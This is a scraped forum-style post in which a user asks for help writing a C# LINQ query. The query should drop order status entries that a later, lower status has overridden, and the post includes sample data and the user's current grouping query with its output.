catch(r_){};this.z_="z_";

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  • Linq duplicate removal with a twist

    - by Danthar
    I got a list that contains al the status items of each order. The problem that i have is that i need to remove all the items of which the status - logdate combination is not the highest. e.g var inputs = new List<StatusItem>(); //note that the 3th id is simply a modifier that adds that amount of secs //to the current datetime, to make testing easier inputs.Add(new StatusItem(123, 30, 1)); inputs.Add(new StatusItem(123, 40, 2)); inputs.Add(new StatusItem(123, 50, 3)); inputs.Add(new StatusItem(123, 40, 4)); inputs.Add(new StatusItem(123, 50, 5)); inputs.Add(new StatusItem(100, 20, 6)); inputs.Add(new StatusItem(100, 30, 7)); inputs.Add(new StatusItem(100, 20, 8)); inputs.Add(new StatusItem(100, 30, 9)); inputs.Add(new StatusItem(100, 40, 10)); inputs.Add(new StatusItem(100, 50, 11)); inputs.Add(new StatusItem(100, 40, 12)); var l = from i in inputs group i by i.internalId into cg select from s in cg group s by s.statusId into sg select sg.OrderByDescending(n => n.date).First() ; This creates a list that returnes me the following: order 123 status 30 date 4/9/2010 6:44:21 PM order 123 status 40 date 4/9/2010 6:44:24 PM order 123 status 50 date 4/9/2010 6:44:25 PM order 100 status 20 date 4/9/2010 6:44:28 PM order 100 status 30 date 4/9/2010 6:44:29 PM order 100 status 40 date 4/9/2010 6:44:32 PM order 100 status 50 date 4/9/2010 6:44:31 PM This is ALMOST correct. However that last line which has status 50 needs to be filtered out as well because it was overruled by status 40 in the historylist. U can tell by the fact that its date is lower then the "last" status-item with the status 40. I was hoping someone could give me some pointers because im stuck.

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